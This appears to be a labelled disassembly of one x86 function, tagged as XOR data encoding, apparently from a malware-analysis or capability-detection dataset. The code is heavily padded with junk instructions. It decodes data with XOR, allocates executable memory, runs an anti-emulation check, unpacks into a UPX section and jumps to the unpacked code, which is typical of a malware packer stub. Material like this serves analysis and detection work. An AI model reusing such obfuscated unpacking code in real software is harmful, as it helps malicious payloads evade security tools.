Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xc9540f31
mov ebx, edx
add edx, edx
popal
mov ebx, 0x28bc7672
add edx, 0x50289d05
sub edx, ebx
mov ebx, 0
mov esi, edx
add ecx, 0x44a145e1
and edi, edi
mov ecx, 0x76be0ea8
mov eax, esi
dec ecx
not edi
mov edx, eax
mov edi, 0x68156fe2
add edi, ecx
and edi, ecx
inc ebx
inc ecx
mov edi, ecx
add edi, 0xe07fe56b
cmp ebx, 0x10071c9
jne 0x47afd5
add edi, edi
sub ecx, 0xf106eed8
sub edi, ecx
cmp ebx, 0x10071c9
je 0x47b023
mov ecx, 0
mov al, byte [ecx]
dec edi
dec edi
sub ecx, edi
inc ebx
or ebx, edx
mov esi, 0x47ada2
add ecx, 0x3cccb1a4
sub ebx, eax
mov edx, 0x47af96
sub eax, 0xea8f3b2d
sub eax, ecx
sub eax, ecx
mov edi, dword [esi]
mov ebx, ecx
or ebx, ecx
or ebx, eax
and edi, 0xff
and ecx, eax
inc ebx
mov ecx, 0x2230d54a
xor dword [edx], edi
or ecx, ecx
and ebx, eax
add eax, ecx
inc edx
add ecx, 0x89e08662
sub ecx, 0x7be06b12
inc esi
mov eax, 0xec4f7196
not ecx
cmp edx, entry0
jl 0x47b046
inc eax
add eax, eax
and ebx, ecx
mov eax, ebx
or ebx, ecx
add ebx, eax
mov esi, ecx
inc esi
dec edx
mov edi, 0x47af9a
not ebx
mov ebx, ecx
mov edi, dword [edi]
sub esi, 0xc25320a6
sub edx, 1
mov edi, dword [edi]
not ebx
sub ecx, edx
sub esp, 4
mov dword [esp], edi
mov edx, 0x29ab9e9e
mov esi, ebx
mov edi, 0x47af96
inc ecx
sub esi, 0x97393d37
not ecx
mov edi, dword [edi]
dec esi
add edx, 0xadd30418
add ebx, ecx
mov edi, dword [edi]
mov ebx, edx
add esi, 0xd3ea3a04
push 0x47af9e
mov ecx, 0xcf239baa
not edx
and ebx, esi
call edi
sub ebx, 0xaa80820c
add esi, ecx
or edx, esi
mov edi, dword [esp]
add esp, 4
sub ecx, 0x84423e98
add edx, edx
sub ecx, 0x54decb7
push 0x47afab
add ecx, 0xbbfe23e1
not ebx
not ecx
push eax
add ebx, 0x22f335ef
sub ecx, 0x161d2644
call edi
sub ebx, esi
not ebx
push 0x40
mov ebx, 0x85d2f5de
add ebx, 0x590dbdd1
push 0x3000
add ebx, ebx
sub edx, ecx
push 0x2000048c
add esi, 0x4b48526f
add esi, edx
push 0
dec ecx
inc ebx
call eax
dec ecx
sub esi, 0x1cc34565
inc ebx
add eax, 0x200003e8
inc ebx
mov ebx, edx
mov edx, 0x1753be2b
mov edi, 0x8c17f5de
and ebx, esi
not ebx
mov dword [eax], edi
mov ecx, 0xa08fa87
inc ecx
or edx, edx
mov edi, dword [eax]
mov esi, ecx
inc edx
cmp edi, 0x8c17f5de
je 0x47b19d
mov edx, 0
mov byte [edx], cl
mov ecx, esi
and ebx, ebx
sub edx, ecx
inc esi
and edx, ecx
and ecx, esi
sub ebx, 0x55e19031
mov edx, 0xfe789109
mov eax, section.UPX1
dec edx
add edx, edx
mov edi, 0x47ada1
dec ebx
or ebx, edx
mov ecx, 0
and ebx, ebx
or edx, edx
not edx
mov esi, 0x47ada2
not edx
add ebx, 0x4ff6a4d9
sub ebx, edx
lea esi, [ecx + esi]
sub edx, ebx
add ebx, 0x1fed9ea1
dec edx
mov esi, dword [esi]
add edx, ebx
sub edx, 0xc8459ee4
inc edx
and esi, 0xff
add ebx, 0x79c1acef
and ebx, ebx
not ebx
add ecx, 1
not edx
inc ebx
cmp ecx, 0x1f4
jne 0x47b21a
mov ecx, 0
add edx, edx
add edx, ebx
add edx, 0xae520c34
or ebx, ebx
xor dword [eax], esi
mov ebx, 0xb9cd5caa
or ebx, edx
sub ebx, 0xfd777c7
add eax, 2
add ebx, 1
sub ebx, edx
not ebx
cmp eax, edi
jl 0x47b1ce
not edx
add edx, 0x87963b79
or edx, ebx
mov ebx, 0x144e9e7e
mov ebx, edx
mov ebx, edx
mov ecx, section.UPX1
sub ebx, 0xeb5917ff
and ebx, esi
mov edi, section.UPX1
add esi, 1
mov esi, ebx
mov eax, 0x47ada1
add ebx, ebx
or ebx, ebx
mov edx, 0
or esi, esi
and ebx, ebx
mov dl, byte [edi]
or ebx, esi
and esi, ebx
mov byte [ecx], dl
add esi, 0x662d93a
mov esi, 0x8ed6a1f7
add ebx, 0x1da84cd6
inc ecx
inc esi
mov ebx, esi
or ebx, esi
add edi, 2
add ebx, 0xe709c4e2
or esi, esi
cmp edi, eax
jle 0x47b28c
sub esi, ebx
add esi, 0x309a218f
mov ebx, 0x7979b52b
sub ebx, 0xe51521c3
sub ebx, 0x5d83bb57
push 0x45e6a0
mov edx, ebx
or edx, ebx
dec edx
ret